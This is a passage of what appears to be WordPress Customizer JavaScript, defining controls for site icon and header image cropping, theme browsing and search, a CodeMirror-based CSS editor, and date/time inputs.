				imageHeight: realHeight,
				minWidth: xImg > xInit ? xInit : xImg,
				minHeight: yImg > yInit ? yInit : yImg,
				x1: x1,
				y1: y1,
				x2: xInit + x1,
				y2: yInit + y1
			};

			if ( flexHeight === false && flexWidth === false ) {
				imgSelectOptions.aspectRatio = xInit + ':' + yInit;
			}

			if ( true === flexHeight ) {
				delete imgSelectOptions.minHeight;
				imgSelectOptions.maxWidth = realWidth;
			}

			if ( true === flexWidth ) {
				delete imgSelectOptions.minWidth;
				imgSelectOptions.maxHeight = realHeight;
			}

			return imgSelectOptions;
		},

		/**
		 * Return whether the image must be cropped, based on required dimensions.
		 *
		 * @param {boolean} flexW
		 * @param {boolean} flexH
		 * @param {number}  dstW
		 * @param {number}  dstH
		 * @param {number}  imgW
		 * @param {number}  imgH
		 * @return {boolean}
		 */
		mustBeCropped: function( flexW, flexH, dstW, dstH, imgW, imgH ) {
			if ( true === flexW && true === flexH ) {
				return false;
			}

			if ( true === flexW && dstH === imgH ) {
				return false;
			}

			if ( true === flexH && dstW === imgW ) {
				return false;
			}

			if ( dstW === imgW && dstH === imgH ) {
				return false;
			}

			if ( imgW <= dstW ) {
				return false;
			}

			return true;
		},

		/**
		 * If cropping was skipped, apply the image data directly to the setting.
		 */
		onSkippedCrop: function() {
			var attachment = this.frame.state().get( 'selection' ).first().toJSON();
			this.setImageFromAttachment( attachment );
		},

		/**
		 * Updates the setting and re-renders the control UI.
		 *
		 * @param {Object} attachment
		 */
		setImageFromAttachment: function( attachment ) {
			this.params.attachment = attachment;

			// Set the Customizer setting; the callback takes care of rendering.
			this.setting( attachment.id );
		}
	});

	/**
	 * A control for selecting and cropping Site Icons.
	 *
	 * @class    wp.customize.SiteIconControl
	 * @augments wp.customize.CroppedImageControl
	 */
	api.SiteIconControl = api.CroppedImageControl.extend(/** @lends wp.customize.SiteIconControl.prototype */{

		/**
		 * Create a media modal select frame, and store it so the instance can be reused when needed.
		 */
		initFrame: function() {
			var l10n = _wpMediaViewsL10n;

			this.frame = wp.media({
				button: {
					text: l10n.select,
					close: false
				},
				states: [
					new wp.media.controller.Library({
						title: this.params.button_labels.frame_title,
						library: wp.media.query({ type: 'image' }),
						multiple: false,
						date: false,
						priority: 20,
						suggestedWidth: this.params.width,
						suggestedHeight: this.params.height
					}),
					new wp.media.controller.SiteIconCropper({
						imgSelectOptions: this.calculateImageSelectOptions,
						control: this
					})
				]
			});

			this.frame.on( 'select', this.onSelect, this );
			this.frame.on( 'cropped', this.onCropped, this );
			this.frame.on( 'skippedcrop', this.onSkippedCrop, this );
		},

		/**
		 * After an image is selected in the media modal, switch to the cropper
		 * state if the image isn't the right size.
		 */
		onSelect: function() {
			var attachment = this.frame.state().get( 'selection' ).first().toJSON(),
				controller = this;

			if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
				wp.ajax.post( 'crop-image', {
					nonce: attachment.nonces.edit,
					id: attachment.id,
					context: 'site-icon',
					cropDetails: {
						x1: 0,
						y1: 0,
						width: this.params.width,
						height: this.params.height,
						dst_width: this.params.width,
						dst_height: this.params.height
					}
				} ).done( function( croppedImage ) {
					controller.setImageFromAttachment( croppedImage );
					controller.frame.close();
				} ).fail( function() {
					controller.frame.trigger('content:error:crop');
				} );
			} else {
				this.frame.setState( 'cropper' );
			}
		},

		/**
		 * Updates the setting and re-renders the control UI.
		 *
		 * @param {Object} attachment
		 */
		setImageFromAttachment: function( attachment ) {
			var sizes = [ 'site_icon-32', 'thumbnail', 'full' ], link,
				icon;

			_.each( sizes, function( size ) {
				if ( ! icon && ! _.isUndefined ( attachment.sizes[ size ] ) ) {
					icon = attachment.sizes[ size ];
				}
			} );

			this.params.attachment = attachment;

			// Set the Customizer setting; the callback takes care of rendering.
			this.setting( attachment.id );

			if ( ! icon ) {
				return;
			}

			// Update the icon in-browser.
			link = $( 'link[rel="icon"][sizes="32x32"]' );
			link.attr( 'href', icon.url );
		},

		/**
		 * Called when the "Remove" link is clicked. Empties the setting.
		 *
		 * @param {Object} event jQuery Event object
		 */
		removeFile: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}
			event.preventDefault();

			this.params.attachment = {};
			this.setting( '' );
			this.renderContent(); // Not bound to setting change when emptying.
			$( 'link[rel="icon"][sizes="32x32"]' ).attr( 'href', '/favicon.ico' ); // Set to default.
		}
	});

	/**
	 * @class    wp.customize.HeaderControl
	 * @augments wp.customize.Control
	 */
	api.HeaderControl = api.Control.extend(/** @lends wp.customize.HeaderControl.prototype */{
		ready: function() {
			this.btnRemove = $('#customize-control-header_image .actions .remove');
			this.btnNew    = $('#customize-control-header_image .actions .new');

			_.bindAll(this, 'openMedia', 'removeImage');

			this.btnNew.on( 'click', this.openMedia );
			this.btnRemove.on( 'click', this.removeImage );

			api.HeaderTool.currentHeader = this.getInitialHeaderImage();

			new api.HeaderTool.CurrentView({
				model: api.HeaderTool.currentHeader,
				el: '#customize-control-header_image .current .container'
			});

			new api.HeaderTool.ChoiceListView({
				collection: api.HeaderTool.UploadsList = new api.HeaderTool.ChoiceList(),
				el: '#customize-control-header_image .choices .uploaded .list'
			});

			new api.HeaderTool.ChoiceListView({
				collection: api.HeaderTool.DefaultsList = new api.HeaderTool.DefaultsList(),
				el: '#customize-control-header_image .choices .default .list'
			});

			api.HeaderTool.combinedList = api.HeaderTool.CombinedList = new api.HeaderTool.CombinedList([
				api.HeaderTool.UploadsList,
				api.HeaderTool.DefaultsList
			]);

			// Ensure custom-header-crop Ajax requests bootstrap the Customizer to activate the previewed theme.
			wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize = 'on';
			wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme = api.settings.theme.stylesheet;
		},

		/**
		 * Returns a new instance of api.HeaderTool.ImageModel based on the currently
		 * saved header image (if any).
		 *
		 * @since 4.2.0
		 *
		 * @return {Object} Options
		 */
		getInitialHeaderImage: function() {
			if ( ! api.get().header_image || ! api.get().header_image_data || _.contains( [ 'remove-header', 'random-default-image', 'random-uploaded-image' ], api.get().header_image ) ) {
				return new api.HeaderTool.ImageModel();
			}

			// Get the matching uploaded image object.
			var currentHeaderObject = _.find( _wpCustomizeHeader.uploads, function( imageObj ) {
				return ( imageObj.attachment_id === api.get().header_image_data.attachment_id );
			} );
			// Fall back to raw current header image.
			if ( ! currentHeaderObject ) {
				currentHeaderObject = {
					url: api.get().header_image,
					thumbnail_url: api.get().header_image,
					attachment_id: api.get().header_image_data.attachment_id
				};
			}

			return new api.HeaderTool.ImageModel({
				header: currentHeaderObject,
				choice: currentHeaderObject.url.split( '/' ).pop()
			});
		},

		/**
		 * Returns a set of options, computed from the attached image data and
		 * theme-specific data, to be fed to the imgAreaSelect plugin in
		 * wp.media.view.Cropper.
		 *
		 * @param {wp.media.model.Attachment} attachment
		 * @param {wp.media.controller.Cropper} controller
		 * @return {Object} Options
		 */
		calculateImageSelectOptions: function(attachment, controller) {
			var xInit = parseInt(_wpCustomizeHeader.data.width, 10),
				yInit = parseInt(_wpCustomizeHeader.data.height, 10),
				flexWidth = !! parseInt(_wpCustomizeHeader.data['flex-width'], 10),
				flexHeight = !! parseInt(_wpCustomizeHeader.data['flex-height'], 10),
				ratio, xImg, yImg, realHeight, realWidth,
				imgSelectOptions;

			realWidth = attachment.get('width');
			realHeight = attachment.get('height');

			this.headerImage = new api.HeaderTool.ImageModel();
			this.headerImage.set({
				themeWidth: xInit,
				themeHeight: yInit,
				themeFlexWidth: flexWidth,
				themeFlexHeight: flexHeight,
				imageWidth: realWidth,
				imageHeight: realHeight
			});

			controller.set( 'canSkipCrop', ! this.headerImage.shouldBeCropped() );

			ratio = xInit / yInit;
			xImg = realWidth;
			yImg = realHeight;

			if ( xImg / yImg > ratio ) {
				yInit = yImg;
				xInit = yInit * ratio;
			} else {
				xInit = xImg;
				yInit = xInit / ratio;
			}

			imgSelectOptions = {
				handles: true,
				keys: true,
				instance: true,
				persistent: true,
				imageWidth: realWidth,
				imageHeight: realHeight,
				x1: 0,
				y1: 0,
				x2: xInit,
				y2: yInit
			};

			if (flexHeight === false && flexWidth === false) {
				imgSelectOptions.aspectRatio = xInit + ':' + yInit;
			}
			if (flexHeight === false ) {
				imgSelectOptions.maxHeight = yInit;
			}
			if (flexWidth === false ) {
				imgSelectOptions.maxWidth = xInit;
			}

			return imgSelectOptions;
		},

		/**
		 * Sets up and opens the Media Manager in order to select an image.
		 * Depending on both the size of the image and the properties of the
		 * current theme, a cropping step after selection may be required or
		 * skippable.
		 *
		 * @param {event} event
		 */
		openMedia: function(event) {
			var l10n = _wpMediaViewsL10n;

			event.preventDefault();

			this.frame = wp.media({
				button: {
					text: l10n.selectAndCrop,
					close: false
				},
				states: [
					new wp.media.controller.Library({
						title:     l10n.chooseImage,
						library:   wp.media.query({ type: 'image' }),
						multiple:  false,
						date:      false,
						priority:  20,
						suggestedWidth: _wpCustomizeHeader.data.width,
						suggestedHeight: _wpCustomizeHeader.data.height
					}),
					new wp.media.controller.Cropper({
						imgSelectOptions: this.calculateImageSelectOptions
					})
				]
			});

			this.frame.on('select', this.onSelect, this);
			this.frame.on('cropped', this.onCropped, this);
			this.frame.on('skippedcrop', this.onSkippedCrop, this);

			this.frame.open();
		},

		/**
		 * After an image is selected in the media modal,
		 * switch to the cropper state.
		 */
		onSelect: function() {
			this.frame.setState('cropper');
		},

		/**
		 * After the image has been cropped, apply the cropped image data to the setting.
		 *
		 * @param {Object} croppedImage Cropped attachment data.
		 */
		onCropped: function(croppedImage) {
			var url = croppedImage.url,
				attachmentId = croppedImage.attachment_id,
				w = croppedImage.width,
				h = croppedImage.height;
			this.setImageFromURL(url, attachmentId, w, h);
		},

		/**
		 * If cropping was skipped, apply the image data directly to the setting.
		 *
		 * @param {Object} selection
		 */
		onSkippedCrop: function(selection) {
			var url = selection.get('url'),
				w = selection.get('width'),
				h = selection.get('height');
			this.setImageFromURL(url, selection.id, w, h);
		},

		/**
		 * Creates a new wp.customize.HeaderTool.ImageModel from provided
		 * header image data and inserts it into the user-uploaded headers
		 * collection.
		 *
		 * @param {string} url
		 * @param {number} attachmentId
		 * @param {number} width
		 * @param {number} height
		 */
		setImageFromURL: function(url, attachmentId, width, height) {
			var choice, data = {};

			data.url = url;
			data.thumbnail_url = url;
			data.timestamp = _.now();

			if (attachmentId) {
				data.attachment_id = attachmentId;
			}

			if (width) {
				data.width = width;
			}

			if (height) {
				data.height = height;
			}

			choice = new api.HeaderTool.ImageModel({
				header: data,
				choice: url.split('/').pop()
			});
			api.HeaderTool.UploadsList.add(choice);
			api.HeaderTool.currentHeader.set(choice.toJSON());
			choice.save();
			choice.importImage();
		},

		/**
		 * Triggers the necessary events to deselect an image which was set as
		 * the currently selected one.
		 */
		removeImage: function() {
			api.HeaderTool.currentHeader.trigger('hide');
			api.HeaderTool.CombinedList.trigger('control:removeImage');
		}

	});

	/**
	 * wp.customize.ThemeControl
	 *
	 * @class    wp.customize.ThemeControl
	 * @augments wp.customize.Control
	 */
	api.ThemeControl = api.Control.extend(/** @lends wp.customize.ThemeControl.prototype */{

		touchDrag: false,
		screenshotRendered: false,

		/**
		 * @since 4.2.0
		 */
		ready: function() {
			var control = this, panel = api.panel( 'themes' );

			function disableSwitchButtons() {
				return ! panel.canSwitchTheme( control.params.theme.id );
			}

			// Temporary special function since supplying SFTP credentials does not work yet. See #42184.
			function disableInstallButtons() {
				return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded;
			}
			function updateButtons() {
				control.container.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() );
				control.container.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() );
			}

			api.state( 'selectedChangesetStatus' ).bind( updateButtons );
			api.state( 'changesetStatus' ).bind( updateButtons );
			updateButtons();

			control.container.on( 'touchmove', '.theme', function() {
				control.touchDrag = true;
			});

			// Bind details view trigger.
			control.container.on( 'click keydown touchend', '.theme', function( event ) {
				var section;
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}

				// Bail if the user scrolled on a touch device.
				if ( control.touchDrag === true ) {
					return control.touchDrag = false;
				}

				// Prevent the modal from showing when the user clicks the action button.
				if ( $( event.target ).is( '.theme-actions .button, .update-theme' ) ) {
					return;
				}

				event.preventDefault(); // Keep this AFTER the key filter above.
				section = api.section( control.section() );
				section.showDetails( control.params.theme, function() {

					// Temporary special function since supplying SFTP credentials does not work yet. See #42184.
					if ( api.settings.theme._filesystemCredentialsNeeded ) {
						section.overlay.find( '.theme-actions .delete-theme' ).remove();
					}
				} );
			});

			control.container.on( 'render-screenshot', function() {
				var $screenshot = $( this ).find( 'img' ),
					source = $screenshot.data( 'src' );

				if ( source ) {
					$screenshot.attr( 'src', source );
				}
				control.screenshotRendered = true;
			});
		},

		/**
		 * Show or hide the theme based on the presence of the term in the title, description, tags, and author.
		 *
		 * @since 4.2.0
		 * @param {Array} terms - An array of terms to search for.
		 * @return {boolean} Whether a theme control was activated or not.
		 */
		filter: function( terms ) {
			var control = this,
				matchCount = 0,
				haystack = control.params.theme.name + ' ' +
					control.params.theme.description + ' ' +
					control.params.theme.tags + ' ' +
					control.params.theme.author + ' ';
			haystack = haystack.toLowerCase().replace( '-', ' ' );

			// Back-compat for behavior in WordPress 4.2.0 to 4.8.X.
			if ( ! _.isArray( terms ) ) {
				terms = [ terms ];
			}

			// Always give exact name matches highest ranking.
			if ( control.params.theme.name.toLowerCase() === terms.join( ' ' ) ) {
				matchCount = 100;
			} else {

				// Search for and weight (by 10) complete term matches.
				matchCount = matchCount + 10 * ( haystack.split( terms.join( ' ' ) ).length - 1 );

				// Search for each term individually (as whole-word and partial match) and sum weighted match counts.
				_.each( terms, function( term ) {
					matchCount = matchCount + 2 * ( haystack.split( term + ' ' ).length - 1 ); // Whole-word, double-weighted.
					matchCount = matchCount + haystack.split( term ).length - 1; // Partial word, to minimize empty intermediate searches while typing.
				});

				// Upper limit on match ranking.
				if ( matchCount > 99 ) {
					matchCount = 99;
				}
			}

			if ( 0 !== matchCount ) {
				control.activate();
				control.params.priority = 101 - matchCount; // Sort results by match count.
				return true;
			} else {
				control.deactivate(); // Hide control.
				control.params.priority = 101;
				return false;
			}
		},

		/**
		 * Rerender the theme from its JS template with the installed type.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		rerenderAsInstalled: function( installed ) {
			var control = this, section;
			if ( installed ) {
				control.params.theme.type = 'installed';
			} else {
				section = api.section( control.params.section );
				control.params.theme.type = section.params.action;
			}
			control.renderContent(); // Replaces existing content.
			control.container.trigger( 'render-screenshot' );
		}
	});

	/**
	 * Class wp.customize.CodeEditorControl
	 *
	 * @since 4.9.0
	 *
	 * @class    wp.customize.CodeEditorControl
	 * @augments wp.customize.Control
	 */
	api.CodeEditorControl = api.Control.extend(/** @lends wp.customize.CodeEditorControl.prototype */{

		/**
		 * Initialize.
		 *
		 * @since 4.9.0
		 * @param {string} id      - Unique identifier for the control instance.
		 * @param {Object} options - Options hash for the control instance.
		 * @return {void}
		 */
		initialize: function( id, options ) {
			var control = this;
			control.deferred = _.extend( control.deferred || {}, {
				codemirror: $.Deferred()
			} );
			api.Control.prototype.initialize.call( control, id, options );

			// Note that rendering is debounced so the props will be used when rendering happens after add event.
			control.notifications.bind( 'add', function( notification ) {

				// Skip if control notification is not from setting csslint_error notification.
				if ( notification.code !== control.setting.id + ':csslint_error' ) {
					return;
				}

				// Customize the template and behavior of csslint_error notifications.
				notification.templateId = 'customize-code-editor-lint-error-notification';
				notification.render = (function( render ) {
					return function() {
						var li = render.call( this );
						li.find( 'input[type=checkbox]' ).on( 'click', function() {
							control.setting.notifications.remove( 'csslint_error' );
						} );
						return li;
					};
				})( notification.render );
			} );
		},

		/**
		 * Initialize the editor when the containing section is ready and expanded.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		ready: function() {
			var control = this;
			if ( ! control.section() ) {
				control.initEditor();
				return;
			}

			// Wait to initialize editor until section is embedded and expanded.
			api.section( control.section(), function( section ) {
				section.deferred.embedded.done( function() {
					var onceExpanded;
					if ( section.expanded() ) {
						control.initEditor();
					} else {
						onceExpanded = function( isExpanded ) {
							if ( isExpanded ) {
								control.initEditor();
								section.expanded.unbind( onceExpanded );
							}
						};
						section.expanded.bind( onceExpanded );
					}
				} );
			} );
		},

		/**
		 * Initialize editor.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		initEditor: function() {
			var control = this, element, editorSettings = false;

			// Obtain editorSettings for instantiation.
			if ( wp.codeEditor && ( _.isUndefined( control.params.editor_settings ) || false !== control.params.editor_settings ) ) {

				// Obtain default editor settings.
				editorSettings = wp.codeEditor.defaultSettings ? _.clone( wp.codeEditor.defaultSettings ) : {};
				editorSettings.codemirror = _.extend(
					{},
					editorSettings.codemirror,
					{
						indentUnit: 2,
						tabSize: 2
					}
				);

				// Merge editor_settings param on top of defaults.
				if ( _.isObject( control.params.editor_settings ) ) {
					_.each( control.params.editor_settings, function( value, key ) {
						if ( _.isObject( value ) ) {
							editorSettings[ key ] = _.extend(
								{},
								editorSettings[ key ],
								value
							);
						}
					} );
				}
			}

			element = new api.Element( control.container.find( 'textarea' ) );
			control.elements.push( element );
			element.sync( control.setting );
			element.set( control.setting() );

			if ( editorSettings ) {
				control.initSyntaxHighlightingEditor( editorSettings );
			} else {
				control.initPlainTextareaEditor();
			}
		},

		/**
		 * Make sure editor gets focused when control is focused.
		 *
		 * @since 4.9.0
		 * @param {Object}   [params] - Focus params.
		 * @param {Function} [params.completeCallback] - Function to call when expansion is complete.
		 * @return {void}
		 */
		focus: function( params ) {
			var control = this, extendedParams = _.extend( {}, params ), originalCompleteCallback;
			originalCompleteCallback = extendedParams.completeCallback;
			extendedParams.completeCallback = function() {
				if ( originalCompleteCallback ) {
					originalCompleteCallback();
				}
				if ( control.editor ) {
					control.editor.codemirror.focus();
				}
			};
			api.Control.prototype.focus.call( control, extendedParams );
		},

		/**
		 * Initialize syntax-highlighting editor.
		 *
		 * @since 4.9.0
		 * @param {Object} codeEditorSettings - Code editor settings.
		 * @return {void}
		 */
		initSyntaxHighlightingEditor: function( codeEditorSettings ) {
			var control = this, $textarea = control.container.find( 'textarea' ), settings, suspendEditorUpdate = false;

			settings = _.extend( {}, codeEditorSettings, {
				onTabNext: _.bind( control.onTabNext, control ),
				onTabPrevious: _.bind( control.onTabPrevious, control ),
				onUpdateErrorNotice: _.bind( control.onUpdateErrorNotice, control )
			});

			control.editor = wp.codeEditor.initialize( $textarea, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: 'textbox',
					'aria-multiline': 'true',
					'aria-label': control.params.label,
					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
				});

			// Focus the editor when clicking on its label.
			control.container.find( 'label' ).on( 'click', function() {
				control.editor.codemirror.focus();
			});

			/*
			 * When the CodeMirror instance changes, mirror to the textarea,
			 * where we have our "true" change event handler bound.
			 */
			control.editor.codemirror.on( 'change', function( codemirror ) {
				suspendEditorUpdate = true;
				$textarea.val( codemirror.getValue() ).trigger( 'change' );
				suspendEditorUpdate = false;
			});

			// Update CodeMirror when the setting is changed by another plugin.
			control.setting.bind( function( value ) {
				if ( ! suspendEditorUpdate ) {
					control.editor.codemirror.setValue( value );
				}
			});

			// Prevent collapsing section when hitting Esc to tab out of editor.
			control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
				var escKeyCode = 27;
				if ( escKeyCode === event.keyCode ) {
					event.stopPropagation();
				}
			});

			control.deferred.codemirror.resolveWith( control, [ control.editor.codemirror ] );
		},

		/**
		 * Handle tabbing to the field after the editor.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		onTabNext: function onTabNext() {
			var control = this, controls, controlIndex, section;
			section = api.section( control.section() );
			controls = section.controls();
			controlIndex = controls.indexOf( control );
			if ( controls.length === controlIndex + 1 ) {
				$( '#customize-footer-actions .collapse-sidebar' ).trigger( 'focus' );
			} else {
				controls[ controlIndex + 1 ].container.find( ':focusable:first' ).focus();
			}
		},

		/**
		 * Handle tabbing to the field before the editor.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		onTabPrevious: function onTabPrevious() {
			var control = this, controls, controlIndex, section;
			section = api.section( control.section() );
			controls = section.controls();
			controlIndex = controls.indexOf( control );
			if ( 0 === controlIndex ) {
				section.contentContainer.find( '.customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close' ).last().focus();
			} else {
				controls[ controlIndex - 1 ].contentContainer.find( ':focusable:first' ).focus();
			}
		},

		/**
		 * Update error notice.
		 *
		 * @since 4.9.0
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
			var control = this, message;
			control.setting.notifications.remove( 'csslint_error' );

			if ( 0 !== errorAnnotations.length ) {
				if ( 1 === errorAnnotations.length ) {
					message = api.l10n.customCssError.singular.replace( '%d', '1' );
				} else {
					message = api.l10n.customCssError.plural.replace( '%d', String( errorAnnotations.length ) );
				}
				control.setting.notifications.add( new api.Notification( 'csslint_error', {
					message: message,
					type: 'error'
				} ) );
			}
		},

		/**
		 * Initialize plain-textarea editor when syntax highlighting is disabled.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		initPlainTextareaEditor: function() {
			var control = this, $textarea = control.container.find( 'textarea' ), textarea = $textarea[0];

			$textarea.on( 'blur', function onBlur() {
				$textarea.data( 'next-tab-blurs', false );
			} );

			$textarea.on( 'keydown', function onKeydown( event ) {
				var selectionStart, selectionEnd, value, tabKeyCode = 9, escKeyCode = 27;

				if ( escKeyCode === event.keyCode ) {
					if ( ! $textarea.data( 'next-tab-blurs' ) ) {
						$textarea.data( 'next-tab-blurs', true );
						event.stopPropagation(); // Prevent collapsing the section.
					}
					return;
				}

				// Short-circuit if tab key is not being pressed or if a modifier key *is* being pressed.
				if ( tabKeyCode !== event.keyCode || event.ctrlKey || event.altKey || event.shiftKey ) {
					return;
				}

				// Prevent capturing Tab characters if Esc was pressed.
				if ( $textarea.data( 'next-tab-blurs' ) ) {
					return;
				}

				selectionStart = textarea.selectionStart;
				selectionEnd = textarea.selectionEnd;
				value = textarea.value;

				if ( selectionStart >= 0 ) {
					textarea.value = value.substring( 0, selectionStart ).concat( '\t', value.substring( selectionEnd ) );
					$textarea.selectionStart = textarea.selectionEnd = selectionStart + 1;
				}

				event.stopPropagation();
				event.preventDefault();
			});

			control.deferred.codemirror.rejectWith( control );
		}
	});

	/**
	 * Class wp.customize.DateTimeControl.
	 *
	 * @since 4.9.0
	 * @class    wp.customize.DateTimeControl
	 * @augments wp.customize.Control
	 */
	api.DateTimeControl = api.Control.extend(/** @lends wp.customize.DateTimeControl.prototype */{

		/**
		 * Initialize behaviors.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		ready: function ready() {
			var control = this;

			control.inputElements = {};
			control.invalidDate = false;

			_.bindAll( control, 'populateSetting', 'updateDaysForMonth', 'populateDateInputs' );

			if ( ! control.setting ) {
				throw new Error( 'Missing setting' );
			}

			control.container.find( '.date-input' ).each( function() {
				var input = $( this ), component, element;
				component = input.data( 'component' );
				element = new api.Element( input );
				control.inputElements[ component ] = element;
				control.elements.push( element );

				// Add invalid date error once user changes (and has blurred the input).
				input.on( 'change', function() {
					if ( control.invalidDate ) {
						control.notifications.add( new api.Notification( 'invalid_date', {
							message: api.l10n.invalidDate
						} ) );
					}
				} );

				// Remove the error immediately after validity change.
				input.on( 'input', _.debounce( function() {
					if ( ! control.invalidDate ) {
						control.notifications.remove( 'invalid_date' );
					}
				} ) );

				// Add zero-padding when blurring field.
				input.on( 'blur', _.debounce( function() {
					if ( ! control.invalidDate ) {
						control.populateDateInputs();
					}
				} ) );
			} );

			control.inputElements.month.bind( control.updateDaysForMonth );
			control.inputElements.year.bind( control.updateDaysForMonth );
			control.populateDateInputs();
			control.setting.bind( control.populateDateInputs );

			// Start populating setting after inputs have been populated.
			_.each( control.inputElements, function( element ) {
				element.bind( control.populateSetting );
			} );
		},

		/**
		 * Parse datetime string.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} datetime - Date/Time string. Accepts Y-m-d[ H:i[:s]] format.
		 * @return {Object|null} Returns object containing date components or null if parse error.
		 */
		parseDateTime: function parseDateTime( datetime ) {
			var control = this, matches, date, midDayHour = 12;

			if ( datetime ) {
				matches = datetime.match( /^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/ );
			}

			if ( ! matches ) {
				return null;
			}

			matches.shift();

			date = {
				year: matches.shift(),
				month: matches.shift(),
				day: matches.shift(),
				hour: matches.shift() || '00',
				minute: matches.shift() || '00',
				second: matches.shift() || '00'
			};

			if ( control.params.includeTime && control.params.twelveHourFormat ) {
				date.hour = parseInt( date.hour, 10 );
				date.meridian = date.hour >= midDayHour ? 'pm' : 'am';
				date.hour = date.hour % midDayHour ? String( date.hour % midDayHour ) : String( midDayHour );
				delete date.second; // @todo Why only if twelveHourFormat?
			}

			return date;
		},

		/**
		 * Validates if input components have valid date and time.
		 *
		 * @since 4.9.0
		 * @return {boolean} If date input fields has error.
		 */
		validateInputs: function validateInputs() {
			var control = this, components, validityInput;

			control.invalidDate = false;

			components = [ 'year', 'day' ];
			if ( control.params.includeTime ) {
				components.push( 'hour', 'minute' );
			}

			_.find( components, function( component ) {
				var element, max, min, value;

				element = control.inputElements[ component ];
				validityInput = element.element.get( 0 );
				max = parseInt( element.element.attr( 'max' ), 10 );
				min = parseInt( element.element.attr( 'min' ), 10 );
				value = parseInt( element(), 10 );
				control.invalidDate = isNaN( value ) || value > max || value < min;

				if ( ! control.invalidDate ) {
					validityInput.setCustomValidity( '' );
				}

				return control.invalidDate;
			} );

			if ( control.inputElements.meridian && ! control.invalidDate ) {
				validityInput = control.inputElements.meridian.element.get( 0 );
				if ( 'am' !== control.inputElements.meridian.get() && 'pm' !== control.inputElements.meridian.get() ) {
					control.invalidDate = true;
				} else {
					validityInput.setCustomValidity( '' );
				}
			}

			if ( control.invalidDate ) {
				validityInput.setCustomValidity( api.l10n.invalidValue );
			} else {
				validityInput.setCustomValidity( '' );
			}
			if ( ! control.section() || api.section.has( control.section() ) && api.section( control.section() ).expanded() ) {
				_.result( validityInput, 'reportValidity' );
			}

			return control.invalidDate;
		},

		/**
		 * Updates number of days according to the month and year selected.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		updateDaysForMonth: function updateDaysForMonth() {
			var control = this, daysInMonth, year, month, day;

			month = parseInt( control.inputElements.month(), 10 );
			year = parseInt( control.inputElements.year(), 10 );
			day = parseInt( control.inputElements.day(), 10 );

			if ( month && year ) {
				daysInMonth = new Date( year, month, 0 ).getDate();
				control.inputElements.day.element.attr( 'max', daysInMonth );

				if ( day > daysInMonth ) {
					control.inputElements.day( String( daysInMonth ) );
				}
			}
		},

		/**
		 * Populate setting value from the inputs.
		 *
		 * @since 4.9.0
		 * @return {boolean} If setting updated.
		 */
		populateSetting: function populateSetting() {
			var control = this, date;

			if ( control.validateInputs() || ! control.params.allowPastDate && ! control.isFutureDate() ) {
				return false;
			}

			date = control.convertInputDateToString();
			control.setting.set( date );
			return true;
		},

		/**
		 * Converts input values to string in Y-m-d H:i:s format.
		 *
		 * @since 4.9.0
		 * @return {string} Date string.
		 */
		convertInputDateToString: function convertInputDateToString() {
			var control = this, date = '', dateFormat, hourInTwentyFourHourFormat,
				getElementValue, pad;

			pad = function( number, padding ) {
				var zeros;
				if ( String( number ).length < padding ) {
					zeros = padding - String( number ).length;
					number = Math.pow( 10, zeros ).toString().substr( 1 ) + String( number );
				}
				return number;
			};

			getElementValue = function( component ) {
				var value = parseInt( control.inputElements[ component ].get(), 10 );

				if ( _.contains( [ 'month', 'day', 'hour', 'minute' ], component ) ) {
					value = pad( value, 2 );
				} else if ( 'year' === component ) {
					value = pad( value, 4 );
				}
				return value;
			};

			dateFormat = [ 'year', '-', 'month', '-', 'day' ];
			if ( control.params.includeTime ) {
				hourInTwentyFourHourFormat = control.inputElements.meridian ? control.convertHourToTwentyFourHourFormat( control.inputElements.hour(), control.inputElements.meridian() ) : control.inputElements.hour();
				dateFormat = dateFormat.concat( [ ' ', pad( hourInTwentyFourHourFormat, 2 ), ':', 'minute', ':', '00' ] );
			}

			_.each( dateFormat, function( component ) {
				date += control.inputElements[ component ] ? getElementValue( component ) : component;
			} );

			return date;
		},

		/**
		 * Check if the date is in the future.
		 *
		 * @since 4.9.0
		 * @return {boolean} True if future date.
		 */
		isFutureDate: function isFutureDate() {
			var control = this;
			return 0 < api.utils.getRemainingTime( control.convertInputDateToString() );
		},

		/**
		 * Convert hour in twelve hour format to twenty four hour format.
		 *
		 * @since 4.9.0
		 * @param {string} hourInTwelveHourFormat - Hour in twelve hour format.
		 * @param {string} meridian - Either 'am' or 'pm'.
		 * @return {string} Hour in twenty four hour format.
		 */
		convertHourToTwentyFourHourFormat: function convertHour( hourInTwelveHourFormat, meridian ) {
			var hourInTwentyFourHourFormat, hour, midDayHour = 12;

			hour = parseInt( hourInTwelveHourFormat, 10 );
			if ( isNaN( hour ) ) {
				return '';
			}

			if ( 'pm' === meridian && hour < midDayHour ) {
				hourInTwentyFourHourFormat = hour + midDayHour;
			} else if ( 'am' === meridian && midDayHour === hour ) {
				hourInTwentyFourHourFormat = hour - midDayHour;
			} else {
				hourInTwentyFourHourFormat = hour;
			}

			return String( hourInTwentyFourHourFormat );
		},

		/**
		 * Populates date inputs in date fields.
		 *
